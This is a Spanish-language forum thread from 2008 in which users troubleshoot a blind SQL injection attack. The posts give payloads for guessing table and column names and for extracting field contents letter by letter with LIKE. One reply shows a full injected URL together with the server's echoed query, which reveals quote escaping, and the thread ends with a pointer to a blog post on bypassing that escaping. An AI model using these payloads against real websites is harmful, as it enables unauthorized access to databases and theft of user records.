duda con BSQL

Iniciado por R41N-W4R3, 29 Marzo 2008, 11:12 AM

0 Miembros y 1 Visitante están viendo este tema.

R41N-W4R3


  Hola a tod@s, estoy teniendo un problema a la hora de realizar una inyeccion ciega, y quisiera saber si hay algo q este haciendo mal:

   He seguido los siguientes pasos:

... AND (SELECT Count(*) FROM Tabla) >= 0   para saber nombre de tabla

... AND (SELECT Count(campo) FROM Tabla) >= 0   para saber nombre de campo

     Con las dos sentencias anteriores no tengo problemas, saco los nombres de tablas y campos de las mismas.

... AND (SELECT Count(*) FROM Tabla WHERE campo LIKE '%') > 0   para saber        contenido del campo

   con esta ultima inyeccion si tengo problemas, pq por ejemplo:

... AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE '%') > 0

   eso deberia darme cierto no????  ya que hay algun nombre metido en la tabla usuarios, pero siempre me da falso. Tambien he probado:

AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE 'a%') > 0
AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE 'b%') > 0


  Asi hasta la z y del 0 al 9...pero siempre da falso.

  Alguien puede decirme q estoy haceindo mal??

  Gracias de antemano




pepeluxx

Supongo que te estará fallando porque confunde el % ... es decir, sabes que un espacio es %20 ... si encuentra un % tras el LIKE lo confundirá con un código ASCII. Prueba a poner:

AND (SELECT Count(*) FROM Tabla WHERE campo LIKE '%25') > 0

pepeluxx

Mmmmm he estado realizando pruebas y parece que el error está en las comillas ...

Por ejemplo, si pruebas:

AND (SELECT Count(*) FROM Tabla WHERE 1=1) > 0

funciona bien, pero con:

AND (SELECT Count(*) FROM Tabla WHERE '1'='1') > 0

da error ... por las comillas.

Seguiré mirando y si veo algo lo comento :P

Saludos


R41N-W4R3



Gracias por tu ayuda :)  voy a probar diferentes codificaciones de las ' a ver q pasa....

   

pepeluxx

Acabo de probar con mi server y tras inyectar esto:

http://www.xxx.com/x.php?id=1%20AND%20(SELECT%20Count(*)%20FROM%20usuarios%20WHERE%20user='admin')%20%3E%200

la respuesta que me da es esta:

Datos=1 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0
CADENA=SELECT * FROM empresa WHERE codigo=1133 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0

Efevtivamente, esta cambiando ' por \' asi que habra que buscar una forma de saltarselo

pepeluxx

Bueno, ya está solucionado. He escrito en mi blog cómo saltarse el parseo de comillas:

http://www.enye-sec.org/pepelux/?p=16#more-16

pedrox@